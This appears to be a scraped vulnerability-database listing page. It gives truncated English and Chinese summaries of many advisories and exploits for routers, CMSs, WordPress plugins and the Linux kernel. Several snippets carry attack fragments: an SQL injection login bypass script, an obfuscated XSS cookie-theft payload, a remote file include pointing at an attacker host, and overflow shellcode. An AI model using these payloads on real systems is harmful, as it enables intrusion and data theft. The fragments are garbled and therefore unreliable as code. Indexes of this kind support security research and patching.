ZTE ZXDSL Configuration Reset

Vulnerability Summary The following advisory describes a configuration reset vulnerability found in ZTE ZXDSL 831CII version 6.2. ZXDSL 831CII is “an ADSL access device to support multiple line modes. It supports ADSL2/ADSL2+ and is backward compatible to ADSL, even offers auto-negotiation...

Network Time Protocol libntp Message Digest Disclosure Vulnerability(CVE-2016-1550)

SUMMARY An exploitable vulnerability exists in the message authentication functionality of Network Time Protocol libntp. An attacker can send a series of crafted messages to attempt to recover the message digest key. TESTED VERSIONS ntp 4.2.8p4 NTPSec a5fb34b9cc89b92a8fef2f459004865c93bb7f92...

WebKit: JSC: Incorrect for-in optimization #2(CVE-2017-7117)

No description provided by source. The following PoC bypasses the fix for the https://www.seebug.org/vuldb/ssvid-96629. PoC: function f let o = ; for let i in xx: 0 for i of 0 printoi; f;...

Synology Photo Station 6.7.3-3432 / 6.3-2967 - Remote Code Execution

Description: The remote code execution is a combination of 4 different vulnerabilities: CVE-2017-11151 allows remote attackers to upload arbitrary files to the specified directories. CVE-2017-11152 allows remote attackers to log in with a fake authentication mechanism. CVE-2017-11153 allows remot...

Foscam IP Video Camera CGIProxy.fcgi SMTP Test Sender Parameter Configuration Command Injection Vulnerability(CVE-2017-2844)

Summary An exploitable command injection vulnerability exists in the web management interface used by the Foscam C1 Indoor HD Camera running application firmware 2.52.2.37. A specially crafted HTTP request can allow for a user to inject arbitrary data in the "msmtprc" configuration file resulting...

ThinkPHP5. 0. 10-3. 2. 3 cache function design flaws can lead to Getshell

0x00 framework operating environment ThinkPHP is a free open source, fast, simple object-oriented lightweight PHP development framework, in order to agile WEB application development and simplify enterprise application development and birth. ThinkPHP from inception has been adhering to the simple...

ZTE ZXECS EBG2800 enterprise business gateway system sys_backuprestore.be.php arbitrary file upload vulnerability

No description provided by source...

CMSTOP媒体云 /gallery/index/list 任意文件上传

No description provided by source...

Redmine 未授权访问漏洞

No description provided by source...

青果软件手机APP掌上校园某处XSS盲打以打到后台和cookies

简要描述： 提交的没通过，说是要完整的问题复现也是醉了。。。。。在提交一次 详细说明： 漏洞利用代码： 这是同IP的网站的确隶属于湖南青果软件有限公司： 漏洞证明： 漏洞证明 https://images.seebug.org/upload/201511/101343187fd9a31ae8eea7f5a2...

科信邮件系统 (KXmail)/prog/get_composer_att.php 任意文件下载漏洞

No description provided by source...

kindeditor<=4.1.5文件上传漏洞

漏洞描述漏洞存在于kindeditor编辑器里，你能上传.txt和.html文件，支持php/asp/jsp/asp.net漏洞存在于小于等于kindeditor4.1.5编辑器中关键字： allinurl:/examples/uploadbutton.html allinurl:/php/uploadjson.php / .asp /...

XR网关平台SQL注入

在IP/msa/main.xp ，username处存在SQL注入（post） !/usr/bin/env python coding=utf-8 import requests def login: url = target + '/msa/main.xp' data = 'Fun':'msaAdminLogon', 'username': "admin' or'1'='1", 'password': '123456' req = requests.posturl = url, data = data print req.text def download: url = target ...

某通用型校园系统多处系统越权

简要描述： 见详情 详细说明： 漏洞证明： 看乌云别人提交，看了下： 关键字：SM2005/ 多处越权： 第一处：无需登陆可查看任意教师，任意学期的班级课表 漏洞位置：SM2005/student/StuKB/TeaKB.asp?sYanzheng=suyaxingweb 案例如下： http://www.sdwhys.com/SM2005/student/StuKB/TeaKB.asp?sYanzheng=suyaxingweb http://www.zjnksyzx.com:8801/SM2005/student/StuKB/TeaKB.asp?sYanzheng=suyaxingw...

ShopEx某处SQL注入（可猜测敏感信息）

简要描述： ShopEx sql注入 详细说明： 分析一下代码： ctl.cart.php: function updateCart$objType='g', $key='' $key = strreplace'@', '-', $key; $nQuantity = $POST'cartNum'$objType$key; switch$objType case 'f': $oCart-member'memberlvid' =$GLOBALS'runtime''memberlv'; $oCart-member'point' = $this-member'point'; break; cas...

phpems设置缺陷直接添加管理员导致getshell

简要描述： phpems 默认uckey是1234567890 导致可以用uc的加密函数加密恶意代码带到sql语句中。 详细说明： if!defined'INUC' errorreporting0; setmagicquotesruntime0; defined'MAGICQUOTESGPC' || define'MAGICQUOTESGPC', getmagicquotesgpc; requireonce 'config.inc.php'; $DCACHE = $get = $post = array; $code = @$GET'code'; //code=加密代码...

pageadmin ViewState缺陷导致sql注入

简要描述： 此处省略50万条网站信息 1、.............. 2、.............. .............. 50.、http://www.pageadmin.net 影响页面甚多，还望厂商以及各站长能逐一检查 听说咱们出新功能了 乌云新增刷乌云币功能 连接http://zone.wooyun.org/content/16138 特地来试试好不好使 另外所用到的工具同样在“测试代码”中提供下载地址 详细说明： 具体分析： 1、查找一个动态页面 例如： /e/aspx/dataselect.aspx 参数：...

齐博地方门户鸡肋文件包含造成的高危SQL注入

简要描述： 上个漏洞（http://wooyun.org/bugs/wooyun-2014-080259）忘了说，是可以直接提升为管理的，甚至不用破hash了。 这个洞无需登录可批量，看我是如何化鸡肋为无形的。第三发，齐博一直不确认，不想再放0day了。。。 ps.齐博今天挺火的啊，据说发现了后门？我能告诉你我还发现了其他后门吗。 详细说明： 和以往的故事一样，这个故事很长。有耐心看下去的朋友，且听我娓娓道来。...

Maccms V8 储存型xss（绕过360防护）

简要描述： rt 详细说明： 自带的360防护脚本对于xss过滤太弱， 留言处没有 对html代码进行实体转义，造成xss。 如，提交 "onerror="eval'\141\154\145\162\164\50\61\51'" 后台查看留言即可触发 加载远程js可偷cookie 漏洞证明：...

MS WINS ECommEndDlg Input Validation Error

No description provided by source. Core Security - Corelabs Advisory http://corelabs.coresecurity.com/ MS WINS ECommEndDlg Input Validation Error 1. Advisory Information Title: MS WINS ECommEndDlg Input Validation Error Advisory ID: CORE-2011-0526 Advisory URL:...

Washington University wu-ftpd 2.5 .0 message Buffer Overflow Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/726/info There is a buffer overflow in wu-ftpd message file expansions which may be remotely exploitable. In situations where the message file can be written to in some way remotely by regular or anonymous users, this may...

VBZoom 1.11 Profile.PHP Cross-Site Scripting Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/19803/info VBZooM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to have arbitrary script code execute in the browser of an...

Joomla Component JContentSubscription 1.5.8 - Multiple RFI Vulns

No description provided by source. JContentSubscription Joomla Component 1.5.8 Multiply Remote File Include Vulnerability Component : comjcs version 1.5.8 - payable component Dicovered by : NoGe Contact : [email protected]...

PhotoPost PHP 4.6.5 (ecard.php) SQL Injection Vulnerability

No description provided by source. PhotoPost PHP 4.6.5 ecard.php?ecard SQL Injection Vulnerability Author : CoBRa21 Author Web Page : http://www.ipbul.org Dork: Powered by: PhotoPost PHP 4.6.5 Sql Injection: http://localhost/path/ecard.php?ecard=418337 Sql...

Linux Kernel < 2.6.31-rc7 - AF_IRDA 29-Byte Stack Disclosure Exploit

No description provided by source. / cve-2009-3002.c Linux Kernel 2.6.31-rc7 AFIRDA getsockname 29-Byte Stack Disclosure Jon Oberheide [email protected] http://jon.oberheide.org Information: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-3002 The Linux kernel before 2.6.31-rc7 does not...

Wordpress Foxypress Plugin 0.4.1.1 - 0.4.2.1 - Arbitrary File Upload

No description provided by source. Description : Wordpress Plugins - Foxypress Shell Upload Vulnerability Version : 0.4.1.1 - 0.4.2.1 Link : http://wordpress.org/extend/plugins/foxypress/ Plugins : http://downloads.wordpress.org/plugin/foxypress.zip Date : 26-05-2012 Google Dork :...

AutoLinks 2.1 Pro Al_initialize.PHP Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/14686/info AutoLinks Pro is prone to a remote file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrar...

Parallels H-Sphere 3.0/3.1 'login.php' Multiple Cross Site Scripting Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/31256/info H-Sphere is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. An attacker may leverage these issues to execute arbitrary script code in the...

CMS Balitbang 3.3 Arbitary File Upload Vulnerability

No description provided by source. =================================================================== CMS Balitbang v.3.3 Arbitary file upload vulnerability =================================================================== Software: CMS Balitbang Vendor: www.kajianwebsite.org Vuln Type: Arbita...

HP Data Protector EXEC_BAR Remote Command Execution

No description provided by source. import argparse import socket Exploit Title: HP Data Protector EXECBAR Remote Command Execution Exploit Author: Chris Graham @cgrahamseven CVE: CVE-2013-2347 Date: February 14, 2014 Vendor Homepage: www.hp.com Version: 6.10, 6.11, 6.20 Tested On: Windows Server...

Clicky Web Pseudo-frames 1.0 - Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/4756/info Pseudo-frames is an application written in PHP and is maintained by Clicky Web. Pseudo-frames permit remote file including. As a result, a remote attacker may include an arbitrary file located on a remote host. ...

Scrutinizer NetFlow & sFlow Analyzer - Multiple Vulnerabilities

No description provided by source. Trustwave SpiderLabs Security Advisory TWSL2012-008: Multiple Vulnerabilities in Scrutinizer NetFlow & sFlow Analyzer https://www.trustwave.com/spiderlabs/advisories/TWSL2012-008.txt Published: 04/11/12 Version: 1.0 Vendor: Plixer International...

Adobe Flash Player 11.3 Font Parsing Code Execution

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit web site for more information on licensing and terms of use. http://metasploit.com/ require 'msf/core' class Metasploit3...

DX Studio Player < 3.0.29.1 Firefox plug-in Command Injection Vuln

No description provided by source. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies - CoreLabs Advisory http://www.coresecurity.com/corelabs/ DX Studio Player Firefox plug-in command injection 1. Advisory Information Title: DX Studio Player Firefox plug-in command injectio...

Dotproject 2.0 /modules/projects/gantt2.php dPconfig[root_dir] Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/16648/info Dotproject is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit these issues to includ...

Coppermine Photo Gallery <= 1.4.20 (IMG) Privilege Escalation Exploit

No description provided by source. !/usr/bin/perl inphex - inphex0 at gmail dot com based on http://milw0rm.com/exploits/8114 - found by StAkeR In case this does not work check out posLine 80 and find another value for it use IO::Socket; use LWP::UserAgent; use LWP::Simple; use HTTP::Cookies; $1 ...

Wordpress HTML5 AV Manager Plugin 0.2.7 - Arbitrary File Upload

No description provided by source. Description : Wordpress Plugins - HTML5 AV Manager for WordPress Shell Upload Vulnerability Version : 0.2.7 Link : http://wordpress.org/extend/plugins/html5avmanager/ Plugins : http://downloads.wordpress.org/plugin/html5avmanager.0.2.7.zip Date : 26-05-2012 Goog...

myPHPNuke 1.8.8 Links.php Cross Site Scripting Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/6892/info Reportedly, myPHPNuke 'links.php' does not adequately filter HTML code thus making it prone to cross-site scripting attacks. It is possible for a remote attacker to create a malicious link containing script code...

vBulletin ImpEx <= 1.74 Remote Command Execution Exploit

No description provided by source. ?php / vbulletin ImpEx Remote File Inclusion Exploit c0ded by ReZEN Sh0uts: xorcrew.net, ajax, gml, subterrain, My gf url: http://www.xorcrew.net/ReZEN example: turl: http://www.target.com/impex/ImpExData.php?systempath= hurl:http://www.pwn3d.com/evil.txt? / $cm...

Active Business Directory 2 - Remote blind SQL Injection Vulnerability

No description provided by source. -----------------------------OffensiveTrack------------------------------ found by : OffensiveTrack Author : AlpHaNiX website : www.offensivetrack.org contact on mail & msn : [email protected] script : Active Business Directory v 2 €xploit :...

Debian Linux 2.1 apcd Symlink Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/958/info A vulnerability exists in the apcd package, as shipped in Debian GNU/Linux 2.1. By sending the apcd process a SIGUSR1, a file will be created in /tmp called upsstat. This file contains information about the statu...

IMAP4rev1 10.190 - Authentication Stack Overflow Exploit

No description provided by source. !/usr/bin/perl Successfully tested on IMAP4rev1 v10.190 Written by: [email protected] / anno 2000 This is nothing new - just wrote it for fun. $shellcode = \xeb\x35\x5e\x80\x46\x01\x30\x80\x46\x02\x30\x80. \x46\x03\x30\x80\x46\x05\x30\x80\x46\x06\x30\x89...

Apache Tomcat < 5.5.17 Remote Directory Listing Vulnerability

No description provided by source. ScanAlert Security Advisory - http://www.scanalert.com Directory Listing in Apache Tomcat 5.x.x Date: 07/21/2006 Vendor: Apache Package: Tomcat Versions: 5.x.x 5.0.28, 5.5.12, 5.5.9, and 5.5.7 . Confirmed Credit: ScanAlert.s Enterprise Services Team. Overview:...

逐浪cms两处文件上传漏洞（有服务器环境限制）

简要描述： 也是要结合iis6的解析漏洞，不知道这两处跟之前提交的会不会重复 详细说明： 由于官网不是iis6的环境 我本地进行测试 第一处 http://127.0.0.1/Plugins/ckfinder/ckfinder.html 在左边文件夹Files下新建字幕了1.asp 然后点击1.asp目录然后上传图片木马3.gif 然后右键查看文件 就可以看到文件地址了 文件地址 http://127.0.0.1/UploadFiles/files/1.asp/3.GIF 第二处 http://127.0.0.1/plugins/imageupload.aspx protected vo...

某通用校园管理系统权限不严格（默认密码）

简要描述： 可以通过系统内置低权限账号，获取高权限超级管理员密码 详细说明： 在官方演示站http://www.suyaxing.com:81/WS2004/default.asp 以官方公告的口令admin/admin登陆演示站 演示站用户看到Vodadmin 密码为星号，用星号密码查看器看到密码是11。（随后测试了20个站，都是内置这个账号） Vod管理员密码修改后貌似会和官方的Vod视频源冲突所以没有用户敢改。 接下来---------做实验，随机抽个站 实验站：http://www.fjzhyz.cn/ 系统内置低权限账号：Vodadmin 密码11...

Linux Kernel IPv6路由通告报文处理拒绝服务漏洞

CVE ID:CVE-2014-2309 Linux Kernel是一款开源的操作系统。 Linux Kernel在创建路由通告的路由时存在错误，允许攻击者利用漏洞提交恶意报文消耗大量内存资源，造成拒绝服务攻击。 要成功利用漏洞需要内核支持IPv6协议，并启用IPv6临时地址。 0 Linux Kernel 3.10.x Linux Kernel 3.12.x Linux Kernel 3.13.x 厂商补丁： Linux ----- 用户可参考厂商的GIT库以获得补丁修复此漏洞：...

OpenDocMan 'ajax_udf.php'多个SQL注入漏洞

Bugtraq ID:65775 CVE ID:CVE-2014-1945 OpenDocMan是一款开源基于WEB的文档管理系统。 对通过"addvalue" GET参数和"table" GET提交给ajaxudf.php的输入缺少充分过滤，允许攻击者利用漏洞进行SQL注入攻击，可获得敏感数据库信息或控制应用系统。 0 OpenDocMan 1.2.7.1 厂商补丁： OpenDocMan ----- OpenDocMan 1.2.7.2已经修复该漏洞，建议用户下载更新： http://www.opendocman.com...

SQL Server 弱口令 PoC

SQL Server在配置过程中往往被设置成弱密码，导致被黑客猜解到，造成若密码漏洞。 SQL Server...

libvirt &quot;lxcDomainGetMemoryParameters()&quot;拒绝服务漏洞

CVE ID:CVE-2013-6436 Libvirt库是一款实现Linux虚拟化功能的Linux API，它支持各种Hypervisor，包括Xen和KVM，以及QEMU和用于其他操作系统的一些虚拟产品。 Libvirt中"lxcDomainGetMemoryParameters"函数lxc/lxcdriver.c存在一些错误，允许攻击者利用漏洞向没有运行的LXC域发送"virsh memtune"命令触发空指针引用，造成拒绝服务攻击。 0 libvirt 1.x 厂商补丁： Libvirt ----- 用户可参考如下厂商提供的安全公告获得补丁信息：...

Linux Kernel 'sctp_v6_xmit()'函数信息泄露漏洞(CVE-2013-4350)

BUGTRAQ ID: 62405 CVECAN ID: CVE-2013-4350 Linux Kernel是Linux操作系统的内核。 Linux kernel在sctpv6xmit中存在ipv6加密bug，攻击者可利用此漏洞泄露敏感信息。 0 Linux kernel 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://www.kernel.org/...